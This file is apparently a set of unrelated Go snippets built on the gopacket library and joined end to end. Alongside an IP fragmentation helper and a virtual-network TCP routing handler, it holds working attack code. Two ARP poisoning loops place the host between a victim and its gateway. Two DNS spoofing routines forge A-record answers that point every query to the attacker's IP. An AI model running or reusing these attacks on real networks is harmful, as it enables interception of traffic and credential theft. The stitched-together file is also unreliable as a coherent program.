func fragment(eth layers.Ethernet, ip layers.IPv4, mtu int, forward func([]byte)) error { // We are not doing any sort of NAT, so we don't need to worry // about checksums of IP payload (eg UDP checksum). headerSize := int(ip.IHL) * 4 // &^ is bit clear (AND NOT). So here we're clearing the lowest 3 // bits. maxSegmentSize := (mtu - headerSize) &^ 7 opts := gopacket.SerializeOptions{ FixLengths: false, ComputeChecksums: true} payloadSize := int(ip.Length) - headerSize payload := ip.BaseLayer.Payload[:payloadSize] offsetBase := int(ip.FragOffset) << 3 origFlags := ip.Flags ip.Flags = ip.Flags | layers.IPv4MoreFragments ip.Length = uint16(headerSize + maxSegmentSize) if eth.EthernetType == layers.EthernetTypeLLC { // using LLC, so must set eth length correctly. eth length // is just the length of the payload eth.Length = ip.Length } else { eth.Length = 0 } for offset := 0; offset < payloadSize; offset += maxSegmentSize { var segmentPayload []byte if len(payload) <= maxSegmentSize { // last one segmentPayload = payload ip.Length = uint16(len(payload) + headerSize) ip.Flags = origFlags if eth.EthernetType == layers.EthernetTypeLLC { eth.Length = ip.Length } else { eth.Length = 0 } } else { segmentPayload = payload[:maxSegmentSize] payload = payload[maxSegmentSize:] } ip.FragOffset = uint16((offset + offsetBase) >> 3) buf := gopacket.NewSerializeBuffer() segPayload := gopacket.Payload(segmentPayload) err := gopacket.SerializeLayers(buf, opts, ð, &ip, &segPayload) if err != nil { return err } forward(buf.Bytes()) } return nil }
/* FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{ RETURNS: Byte array containing the spoofed response DNS packet data ARGUMENTS: *layers.Ethernet ethernetLayer - the ethernet part of the packet recieved *layers.DNS dnsLayer - the dns part of the packet recieved *layers.IPv4 ipLayer - the ip part of the packet recieved *layers.UDP udpLayer - the udp part of the packet recieved ABOUT: Crafts a spoofed dns packet using the incoming query. */ func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte { //if not a question return if dnsLayer.QR || ipLayer.SrcIP.String() != target { return nil } //must build every layer to send DNS packets ethMac := ethernetLayer.DstMAC ethernetLayer.DstMAC = ethernetLayer.SrcMAC ethernetLayer.SrcMAC = ethMac ipSrc := ipLayer.SrcIP ipLayer.SrcIP = ipLayer.DstIP ipLayer.DstIP = ipSrc srcPort := udpLayer.SrcPort udpLayer.SrcPort = udpLayer.DstPort udpLayer.DstPort = srcPort err = udpLayer.SetNetworkLayerForChecksum(ipLayer) checkError(err) var answer layers.DNSResourceRecord answer.Type = layers.DNSTypeA answer.Class = layers.DNSClassIN answer.TTL = 200 answer.IP = ipAddr dnsLayer.QR = true for _, q := range dnsLayer.Questions { if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN { continue } answer.Name = q.Name dnsLayer.Answers = append(dnsLayer.Answers, answer) dnsLayer.ANCount = dnsLayer.ANCount + 1 } buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer) checkError(err) return buf.Bytes() }
/* FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){ RETURNS: Nothing ARGUMENTS: string targetMAC - the victim mac address for spoofing string gateway - the gateway IP the victim uses string gatewayMAC - the mac address of the gateway the vicitim uses ABOUT: Performs arp poisoning of the target machine. Sets its traffic to all come through the host machine, and sets the gateway to redirect its traffic for the victim to this host. */ func arpPoison(targetMAC, gateway, gatewayMAC string) { // i lost my mind over this, the parseip function is broke and adds a bucket of worthless // bytes to the beginning of the array, I wish I did this in C // I GUESS I DID C gw := (net.ParseIP(gateway))[12:] tg := (net.ParseIP(target))[12:] tgm, _ := net.ParseMAC(targetMAC) gwm, _ := net.ParseMAC(gatewayMAC) fmt.Print("========================") fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC) fmt.Print("========================") ethernetPacket := layers.Ethernet{} ethernetPacket.DstMAC = tgm ethernetPacket.SrcMAC = macAddr ethernetPacket.EthernetType = layers.EthernetTypeARP arpPacket := layers.ARP{} arpPacket.AddrType = layers.LinkTypeEthernet arpPacket.Protocol = 0x0800 arpPacket.HwAddressSize = 6 arpPacket.ProtAddressSize = 4 arpPacket.Operation = 2 //poison the target arpPacket.SourceHwAddress = macAddr arpPacket.SourceProtAddress = gw arpPacket.DstHwAddress = tgm arpPacket.DstProtAddress = tg gwEthernetPacket := ethernetPacket gwARPPacket := arpPacket //poison the gateway gwARPPacket.SourceProtAddress = tg gwARPPacket.DstHwAddress = gwm gwARPPacket.DstProtAddress = gw for { //poison target writePoison(arpPacket, ethernetPacket) time.Sleep(1 * time.Second) //poison gateway writePoison(gwARPPacket, gwEthernetPacket) time.Sleep(5 * time.Second) } }
func arpPoison(device string, routerMac net.HardwareAddr, routerIP net.IP, localMac net.HardwareAddr, localIP net.IP, victimMac net.HardwareAddr, victimIP net.IP) { // Open NIC at layer 2 handle, err := pcap.OpenLive(device, 1024, false, pcap.BlockForever) if err != nil { fmt.Println(err) os.Exit(1) } defer handle.Close() // create an empty ethernet packet ethernetPacket := layers.Ethernet{} // create an empty ARP packet arpPacket := layers.ARP{} // pre populate Arp Packet Info arpPacket.AddrType = layers.LinkTypeEthernet arpPacket.HwAddressSize = 6 arpPacket.ProtAddressSize = 4 arpPacket.Operation = 2 arpPacket.Protocol = 0x0800 // continiously put arp responses on the wire to ensure a good posion. for { /******** posion arp from victim to local ********/ //set the ethernet packets' source mac address ethernetPacket.SrcMAC = localMac //set the ethernet packets' destination mac address ethernetPacket.DstMAC = victimMac //set the ethernet packets' type as ARP ethernetPacket.EthernetType = layers.EthernetTypeARP // create a buffer buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{} // customize ARP Packet info arpPacket.SourceHwAddress = localMac arpPacket.SourceProtAddress = routerIP arpPacket.DstHwAddress = victimMac arpPacket.DstProtAddress = victimIP // set options for serializing (this probably isn't needed for an ARP packet) // serialize the data (serialize PREPENDS the data) err = arpPacket.SerializeTo(buf, opts) if err != nil { fmt.Println(err) os.Exit(1) } err = ethernetPacket.SerializeTo(buf, opts) if err != nil { fmt.Println(err) os.Exit(1) } // turn the packet into a byte array packetData := buf.Bytes() //remove padding and write to the wire handle.WritePacketData(packetData[:42]) //Sleep so we don't flood with ARPS time.Sleep(50 * time.Millisecond) /******** end posion arp from victim to local ********/ /******** posion arp from router to local ********/ //set the ethernet packets' source mac address ethernetPacket.SrcMAC = localMac //set the ethernet packets' destination mac address ethernetPacket.DstMAC = victimMac //set the ethernet packets' type as ARP ethernetPacket.EthernetType = layers.EthernetTypeARP // customize ARP Packet info arpPacket.SourceHwAddress = localMac arpPacket.SourceProtAddress = victimIP arpPacket.DstHwAddress = routerMac arpPacket.DstProtAddress = routerIP // set options for serializing (this probably isn't needed for an ARP packet) // serialize the data (serialize PREPENDS the data) err = arpPacket.SerializeTo(buf, opts) if err != nil { fmt.Println(err) os.Exit(1) } err = ethernetPacket.SerializeTo(buf, opts) if err != nil { fmt.Println(err) os.Exit(1) } // turn the packet into a byte array packetData = buf.Bytes() //remove padding and write to the wire handle.WritePacketData(packetData[:42]) /******** end posion arp from router to local ********/ //Sleep so we don't flood with ARPS time.Sleep(5 * time.Second) } }
func (vnet *VNET) handleTCP(pkt *Packet, now time.Time) { // fmt.Printf("TCP: %08x %s\n", pkt.Flags, pkt.String()) defer pkt.Release() var err error if bytes.Equal(pkt.Eth.DstMAC, layers.EthernetBroadcast[:]) { // ignore return } if pkt.DstHost == nil { // ignore return } if !pkt.DstHost.Up { log.Printf("destination is down: %s", pkt.DstHost.Name) // ignore return } var ( srcIP net.IP dstIP net.IP srcPort = uint16(pkt.TCP.SrcPort) dstPort = uint16(pkt.TCP.DstPort) ) if pkt.IPv4 != nil { srcIP = CloneIP(pkt.IPv4.SrcIP.To16()) dstIP = CloneIP(pkt.IPv4.DstIP.To16()) } else if pkt.IPv6 != nil { srcIP = CloneIP(pkt.IPv6.SrcIP.To16()) dstIP = CloneIP(pkt.IPv6.DstIP.To16()) } else { log.Printf("invalid protocol") // ignore return } route := vnet.routes.GetTable().Lookup( protocols.TCP, srcIP, dstIP, srcPort, dstPort) if route == nil { rule, found := vnet.rules.GetTable().Lookup(protocols.TCP, pkt.DstHost.ID, dstPort) if !found { log.Printf("no rule") // ignore return } var ( ruleDstIP = rule.DstIP ruleDstPort = rule.DstPort hostIP net.IP hostPort uint16 ) if ruleDstIP != nil { hostIP = dstIP hostPort, err = vnet.ports.Allocate(pkt.DstHost.ID, protocols.TCP, 0) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } var r routes.Route r.Protocol = protocols.TCP r.HostID = pkt.DstHost.ID r.SetInboundSource(hostIP, hostPort) r.SetInboundDestination(vnet.system.GatewayIPv4(), vnet.proxy.TCPPort) r.SetOutboundDestination(ruleDstIP, rule.DstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } ruleDstIP = vnet.system.GatewayIPv4() ruleDstPort = vnet.proxy.TCPPort } if ruleDstIP == nil { gateway := vnet.hosts.GetTable().LookupByName("gateway") if gateway == nil || !gateway.Up { log.Printf("no gateway") // ignore return } if dstIP.To4() != nil { if len(gateway.IPv4Addrs) > 0 { ruleDstIP = gateway.IPv4Addrs[0] } } else { if len(gateway.IPv6Addrs) > 0 { ruleDstIP = gateway.IPv6Addrs[0] } } } if ruleDstIP == nil { log.Printf("no destination ip") // ignore return } var r routes.Route r.Protocol = protocols.TCP r.HostID = pkt.DstHost.ID r.SetInboundSource(srcIP, srcPort) r.SetInboundDestination(dstIP, dstPort) r.SetOutboundSource(hostIP, hostPort) r.SetOutboundDestination(ruleDstIP, ruleDstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } } if route == nil { log.Printf("no route") // ignore return } var ( eth layers.Ethernet tcp layers.TCP ) eth = *pkt.Eth eth.SrcMAC = vnet.system.ControllerMAC() eth.DstMAC = vnet.system.GatewayMAC() tcp = *pkt.TCP tcp.SrcPort = layers.TCPPort(route.Outbound.SrcPort) tcp.DstPort = layers.TCPPort(route.Outbound.DstPort) if route.Outbound.DstIP.To4() != nil { ip := layers.IPv4{ SrcIP: route.Outbound.SrcIP.To4(), DstIP: route.Outbound.DstIP.To4(), Version: 4, Protocol: layers.IPProtocolTCP, TTL: 64, } tcp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &tcp, gopacket.Payload(pkt.TCP.Payload)) if err != nil { log.Printf("TCP/error: %s", err) return } } else { ip := layers.IPv6{ SrcIP: route.Outbound.SrcIP.To16(), DstIP: route.Outbound.DstIP.To16(), Version: 4, NextHeader: layers.IPProtocolTCP, } tcp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &tcp, gopacket.Payload(pkt.TCP.Payload)) if err != nil { log.Printf("TCP/error: %s", err) return } } route.RoutedPacket(now, len(pkt.buf)) }
/* Spoof is the entry point for the actual spoofing subroutine. Spoof handles getting packets from the NICs, identifying DNS queries, and seding responses. It is mostly concerened with the packet level logic, and does not manipulate the responses themselves */ func spoof(ifacename string) { // get our local ip ip := getIfaceAddr(ifacename) if ip == nil { panic("Unable to get IP") } // open a handle to the network card(s) ifaceHandle, err := pcap.OpenLive(ifacename, 1600, true, pcap.BlockForever) if err != nil { panic(err) } defer ifaceHandle.Close() // set the filter err = ifaceHandle.SetBPFFilter("udp and dst port 53") if err != nil { // not fatal fmt.Printf("Unable to set filter: %v\n", err.Error()) } // pre-allocate all the space needed for the layers var ethLayer layers.Ethernet var ipv4Layer layers.IPv4 var udpLayer layers.UDP var dnsLayer layers.DNS var q layers.DNSQuestion var a layers.DNSResourceRecord // create the decoder for fast-packet decoding // (using the fast decoder takes about 10% the time of normal decoding) decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer) // this slick will hold the names of the layers successfully decoded decodedLayers := make([]gopacket.LayerType, 0, 4) // pre-create the response with most of the data filled out a.Type = layers.DNSTypeA a.Class = layers.DNSClassIN a.TTL = 300 a.IP = ip // create a buffer for writing output packet outbuf := gopacket.NewSerializeBuffer() // TODO (Optionally) replace with NewSerializeBufferExpectedSize to speed up a bit more // set the arguments for serialization serialOpts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } // pre-allocate loop counter var i uint16 // swap storage for ip and udp fields var ipv4Addr net.IP var udpPort layers.UDPPort var ethMac net.HardwareAddr // Main loop for dns packets intercepted // No new allocations after this point to keep garbage collector // cyles at a minimum for { packetData, _, err := ifaceHandle.ZeroCopyReadPacketData() if err != nil { break } fmt.Println("Got packet from filter") // decode this packet using the fast decoder err = decoder.DecodeLayers(packetData, &decodedLayers) if err != nil { fmt.Println("Decoding error!") continue } // only proceed if all layers decoded if len(decodedLayers) != 4 { fmt.Println("Not enough layers!") continue } // check that this is not a response if dnsLayer.QR { continue } // print the question section for i = 0; i < dnsLayer.QDCount; i++ { fmt.Println(string(dnsLayer.Questions[i].Name)) } // set this to be a response dnsLayer.QR = true // if recursion was requested, it is available if dnsLayer.RD { dnsLayer.RA = true } // for each question for i = 0; i < dnsLayer.QDCount; i++ { // get the question q = dnsLayer.Questions[i] // verify this is an A-IN record question if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN { continue } // copy the name across to the response a.Name = q.Name // append the answer to the original query packet dnsLayer.Answers = append(dnsLayer.Answers, a) dnsLayer.ANCount = dnsLayer.ANCount + 1 } // swap ethernet macs ethMac = ethLayer.SrcMAC ethLayer.SrcMAC = ethLayer.DstMAC ethLayer.DstMAC = ethMac // swap the ip ipv4Addr = ipv4Layer.SrcIP ipv4Layer.SrcIP = ipv4Layer.DstIP ipv4Layer.DstIP = ipv4Addr // swap the udp ports udpPort = udpLayer.SrcPort udpLayer.SrcPort = udpLayer.DstPort udpLayer.DstPort = udpPort // set the UDP to be checksummed by the IP layer err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer) if err != nil { panic(err) } // serialize packets err = gopacket.SerializeLayers(outbuf, serialOpts, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer) if err != nil { panic(err) } // write packet err = ifaceHandle.WritePacketData(outbuf.Bytes()) if err != nil { panic(err) } fmt.Println("Response sent") // comment out for debugging continue // DEBUGGG-------------------------------------------------------------- err = decoder.DecodeLayers(outbuf.Bytes(), &decodedLayers) if err != nil { fmt.Println("Decoding error: " + err.Error()) continue } // only proceed if all layers decoded if len(decodedLayers) != 4 { fmt.Println("Not enough layers!") for j := range decodedLayers { fmt.Println(decodedLayers[j]) } continue } // print packet fmt.Printf("IP src %v\n", ipv4Layer.SrcIP) fmt.Printf("IP dst %v\n", ipv4Layer.DstIP) fmt.Printf("UDP src port: %v\n", udpLayer.SrcPort) fmt.Printf("UDP dst port: %v\n", udpLayer.DstPort) fmt.Printf("DNS Quy count: %v\n", dnsLayer.QDCount) // print the question section for i = 0; i < dnsLayer.QDCount; i++ { fmt.Printf("%v\n", string(dnsLayer.Questions[i].Name)) } fmt.Printf("DNS Ans count: %v\n", dnsLayer.ANCount) // print the question section for i = 0; i < dnsLayer.ANCount; i++ { fmt.Printf("%v type %v\n", string(dnsLayer.Answers[i].Name), dnsLayer.Answers[i].Type) fmt.Printf("\t%v\n", dnsLayer.Answers[i].IP) } break } }